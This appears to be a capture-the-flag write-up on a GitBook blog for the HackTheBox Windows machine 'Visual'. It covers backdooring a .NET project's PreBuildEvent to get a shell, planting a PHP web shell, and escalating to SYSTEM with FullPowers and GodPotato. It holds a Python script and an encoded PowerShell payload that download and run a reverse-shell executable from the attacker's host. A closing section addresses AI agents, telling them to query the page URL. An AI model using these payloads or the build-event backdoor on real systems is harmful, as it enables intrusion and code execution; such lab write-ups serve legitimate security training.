# Visual

## SUMMARY

Visual is a Medium-level Windows machine from HackTheBox. It features a web service that build .NET 6.0 applications when provided with a Git repository. For initial access, one can use the `PreBuild` and `PostBuild` events from Visual Studio to poison the building and return a shell as `enox`.

After the initial access, one needs to pivot into `Local Service` by exploiting a weak configuration on the web directory, allowing us write access. Dropping a PHP web shell gives us access as `Local Service`.

To get to root, we need to gain back our full privileges as `Local Service` through the FullPowers binary and then using the GOD Potato attack to gain a shell as `SYSTEM`.

## Enumeration

Doing our Nmap scan, we find only 1 port open which is HTTP. We see that the service version running in there is Apache httpd `2.4.56` (Win64 OpenSSL/`1.1.1t` PHP/`8.1.17`) which may indicate this may be running an XAMPP service and this is a Windows machine.

<figure><img src="/files/qFyV4TjNMeP95AllGteo" alt=""><figcaption></figcaption></figure>

Visiting the web service, we find Visual which is a project compilation website that supports .NET 6.0 and C# code created in Visual Studio. We are only required to include a Git repository.

<figure><img src="/files/bVBaQBdwP4b773gr95E2" alt=""><figcaption></figcaption></figure>

### Setting up our local Git repository

To set up our own local Git repository, we can use [Gitea](https://about.gitea.com/) which is a private, self-hosted software development service which can do Git hosting, code review, team collaboration, package registry, and CI/CD.

We can build a self-hosted Gitea service easily with Docker using their [installation docs](https://docs.gitea.com/installation/install-with-docker#installation).

<figure><img src="/files/lYOAV3a7eAXQf7KeTimH" alt=""><figcaption></figcaption></figure>

Once this is done, visiting `localhost:3000`, we are now greeted with our own Gitea instance.

<figure><img src="/files/3fllIkLOj4A0Df1oX4Dl" alt=""><figcaption></figcaption></figure>

### Creating a simple .NET application

We can test the functionality of the Visual service by creating our own simple application that prints `"Hello World!"` and then executing it to be built on the application.

First, we create our own project, from here we’ll click **Console App**.

<figure><img src="/files/yYATRGUaLr2ksSJxDeJR" alt=""><figcaption></figcaption></figure>

We can create the project name with whatever we want, I went with `ConsoleAppTest`. Under the Framework to be used, we should choose `.NET 6.0` as this is what's used in the Visual service.

<figure><img src="/files/6CzDKbPdrRDjge59RdoU" alt=""><figcaption></figcaption></figure>

After this, we should get a Visual Studio screen that provides us an IDE to code in C#. We don’t actually need to do any code here so far; we only need to have the respective files and folders required to build the application.

<figure><img src="/files/Z9Q82uBxIbTTmQW18uNN" alt=""><figcaption></figcaption></figure>

We can create a local Git repository in our Gitea instance and make sure that we don’t click the **Make Repository Private** option as this allows our repository to be public to avoid issuse of the Visual service not reaching us.

<figure><img src="/files/6PCyoe1FGWE1fslqnujH" alt=""><figcaption></figcaption></figure>

After this, we now have our repository.

<figure><img src="/files/gILGYaUm0jgF8fBupmd0" alt=""><figcaption></figcaption></figure>

We now want to clone this repository on our local machine and then add in the files we created from the Visual Studio project to this repository.

<figure><img src="/files/to1me9h34jvSbMl9kCG4" alt=""><figcaption></figcaption></figure>

The common path for the repositories directory for Visual Studio is under `C:\Users\{User}\source\repos\{repo_name}`. We can visit there and copy our files to our Kali machine.

<figure><img src="/files/dy3p1QRfiJvvGJvWGnCN" alt=""><figcaption></figcaption></figure>

After adding it with `git add -A`, we can now commit this into our local Gitea instance.

<figure><img src="/files/AZ93wq80NQmNQwKoTvde" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/CQi6y0ZqVCXSRLWLQGn0" alt=""><figcaption></figcaption></figure>

We now have our Visual Studio project in our Gitea instance.

<figure><img src="/files/8gMU19Xppmzd8ouGe6wk" alt=""><figcaption></figcaption></figure>

We can now submit this into the application and see how it would be built by providing our VPN IP address as a replacement to `[localhost](http://localhost)` so that the service can reach us.

<figure><img src="/files/ahIPXNbSG7RkieFXeaEc" alt=""><figcaption></figcaption></figure>

After a while, we get a proper build and we see our compiled `.exe` and `.dll` files.

<figure><img src="/files/QDoclXODyHKkb7SSVz88" alt=""><figcaption></figcaption></figure>

### Exploiting Visual Studio build events

Doing research on how one could exploit Visual Studio, we come across this [article](https://enox.zip/Windows/Exploring+Backdooring+Techniques+in+Visual+Studio+Projects) from Enox which talks about backdoor techniques around Visual Studio build events, specifically the `Pre-Build` and `Post-Build` events. These are features that allow developers to run custom commands at specific stages of the build process and when controlled by an attacker can lead to **NTLMv2 theft** or worse, **Remote code execution**.

Inspecting our own `.csproj` file, we find the code below. We can modify this by using the `<PreBuildEvent>` or `<PostBuildEvent>` to initiate remote code execution.

```c
<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
    <PreBuildEvent>{insert command here}</PreBuildEvent>  // Injection point
  </PropertyGroup>

</Project>
```

We can edit this to first test if we can ping back our Kali machine, thus confirming that we do have RCE through this method.

<figure><img src="/files/qk87xvBfI2ALx8bdkLJ4" alt=""><figcaption></figcaption></figure>

After doing the necessary steps of updating our Git repository, we can now provide this to the Visual service for execution.

After a while, we get a call back from the Victim IP on our `tcpdump`, indicating that there is successful RCE.

<figure><img src="/files/kW4GHFmO7L2eag4QzbO4" alt=""><figcaption></figcaption></figure>

### Getting a shell as enox

Since we’ve confirmed that RCE is possible, we can generate an `msfvenom` stageless payload that creates a 64 bit reverse TCP shell for Windows and connects back to us via port `9000`.

<figure><img src="/files/6aVIrTAeSPuMf9MXXIgV" alt=""><figcaption></figcaption></figure>

We can then use a Python script to generate a Powershell encoded payload which would be executed by the victim machine to download `shell.exe`, save it on `C:\Windows\Tasks`, and then execute it afterwards.

```python
import base64

text = "iwr -uri http://10.10.14.15/shell.exe -Outfile c:\windows\\tasks\shell.exe;Start-Process c:\windows\\tasks\shell.exe;"  # Text we want to encode

bytes_text = text.encode('utf-16-le')
encoded_text = base64.b64encode(bytes_text).decode('utf-8')

cmd = "powershell.exe -nop -w hidden -e " + encoded_text

print(cmd)
```

<figure><img src="/files/CqgpRr6bm6WIfy0py0aj" alt=""><figcaption></figcaption></figure>

We then update our `.csproj` file to include the output we got from the script above.

```xml
<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
    <PreBuildEvent>powershell.exe -nop -w hidden -e aQB3AHIAIAAtAHUAcgBpACAAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADQALgAxADUALwBzAGgAZQBsAGwALgBlAHgAZQAgAC0ATwB1AHQAZgBpAGwAZQAgAGMAOgBcAHcAaQBuAGQAbwB3AHMAXAB0AGEAcwBrAHMAXABzAGgAZQBsAGwALgBlAHgAZQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABhAHMAawBzAFwAcwBoAGUAbABsAC4AZQB4AGUAOwA=</PreBuildEvent>
  </PropertyGroup>

</Project>
```

After doing the necessary steps of updating our Git repository, we can now provide this to the Visual service for execution.

After a while, we now get a shell as `enox`.

<figure><img src="/files/L6rgjjkbN9R9mAooA6L1" alt=""><figcaption></figcaption></figure>

### User Flag

Under `enox`'s Desktop folder, we find the `user` flag.

## Privilege Escalation

### Enumeration of privileges

Checking our privileges, we don’t find much that we can interact with. We do see that we are part of the `NT Authority\Service` group. What stands out here is that we do not have the common privileges when running as a service user (e.g., having the `SeImpersonatePrivilege`).

<figure><img src="/files/7HpdzXHL97TRCt7N8bR8" alt=""><figcaption></figcaption></figure>

We can transfer over `winpeas` to the machine to enumerate further.

<figure><img src="/files/dMqLPs2tFPhfG0WzBath" alt=""><figcaption></figcaption></figure>

Reading the processes we own; we see that we don’t have any here that can say that we are running the web service.

<figure><img src="/files/NKf4xGOwknW1ZwvsC2Dv" alt=""><figcaption></figcaption></figure>

### Exploiting the web service to gain a shell as LocalService

We can assume that we are not running the Apache web service so someone else must be. Checking our permissions under `C:\xampp\htdocs\`, we find that everyone has **Full Access** here so anyone can create, delete, and write files into here.

<figure><img src="/files/3A16qeSP6u07JUiqUeb3" alt=""><figcaption></figcaption></figure>

We can create a simple web shell PHP script to execute if we give it the `cmd` query parameter when accessing `/pwn.php`.

<figure><img src="/files/3npkrJAz6cPJP4A7Q2JP" alt=""><figcaption></figcaption></figure>

Testing it out, we find that the service is actually running as `NT Authority\Local Service`.

<figure><img src="/files/5GyFLTKHTXIpMNUSOClY" alt=""><figcaption></figcaption></figure>

We can edit our earlier Python script to generate a code but instead save the file as `shell2.exe` instead and generate a new PowerShell payload.

<figure><img src="/files/a6bsCNFX1m3uI9rTTcl7" alt=""><figcaption></figcaption></figure>

We now get a shell as `LocalService`.

<figure><img src="/files/S13T2plu2VPYLuKs9FOL" alt=""><figcaption></figcaption></figure>

### Enumerating Local Service capabilities

We find that while we are running as `LocalService` now, we still are missing some of its default privileges such as `SeImpersonatePrivilege` among others.

<figure><img src="/files/eOgRvMCFMebAK4W4yNra" alt=""><figcaption></figcaption></figure>

### Exploiting Scheduled Tasks to gain back full privileges

An [article](https://itm4n.github.io/localservice-privileges/) from itm4n showcases about adding a `-k LocalServiceAndNoImpersonation` option strips away most of our privileges when running the binary probably.

Using some PowerShell cmdlets, we find that the machine may be limiting our privileges.

<figure><img src="/files/g1BDWj40kU79yPyHsRLG" alt=""><figcaption></figcaption></figure>

From the same article, it’s said that we can create our own scheduled task to bypass this but a caveat here is that if `RequiredPrivilege` is not provided in the scheduled task definition, the default privileges of the task principal account **without** `SeImpersonatePrivilege` will be used instead. This can be bypassed by creating a Scheduled Task Principal using the `New-ScheduledTaskPrincipal` cmdlet, specifying all the privileges we want and adding it under the `-RequiredPrivilege` option.

```powershell
# Create a list of privileges 
[System.String[]]$Privs = "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeImpersonatePrivilege", "SeIncreaseQuotaPrivilege", "SeShutdownPrivilege", "SeUndockPrivilege", "SeIncreaseWorkingSetPrivilege", "SeTimeZonePrivilege"
# Create a Principal for the task 
$TaskPrincipal = New-ScheduledTaskPrincipal -UserId "LOCALSERVICE" -LogonType ServiceAccount -RequiredPrivilege $Privs
```

Then, we just create the task as normally and we’ll get back our normal, default privileges. The article includes a link to [FullPowers](https://github.com/itm4n/FullPowers) which is a binary coded in C# that does the exact same thing we require and is also created by itm4n.

We can transfer over the file to the victim machine.

<figure><img src="/files/JsXn8htgeVQc5kGHWDNg" alt=""><figcaption></figcaption></figure>

Running the binary, we now get our full privileges back.

<figure><img src="/files/6ry6Fu6yY9axu6BTmznH" alt=""><figcaption></figcaption></figure>

### Using GodPotato to get a shell as SYSTEM

We can use [GodPotato](https://github.com/BeichenDream/GodPotato) which is one of the newest Potato attacks that leverages `SeImpersonatePrivilege` for a quick win and works on most newest Windows systems.

<figure><img src="/files/ODdDN1bhjNeIVMIiH5Ac" alt=""><figcaption></figcaption></figure>

Testing it out, we now get a shell as `SYSTEM`.

<figure><img src="/files/3HQ4sRuF8orIZGUL8s9W" alt=""><figcaption></figcaption></figure>

### Root Flag

We now get the root flag in `Administrator`'s Desktop folder.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mknukn.gitbook.io/infosec-blog/ctfs/hackthebox/windows-machines/visual.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
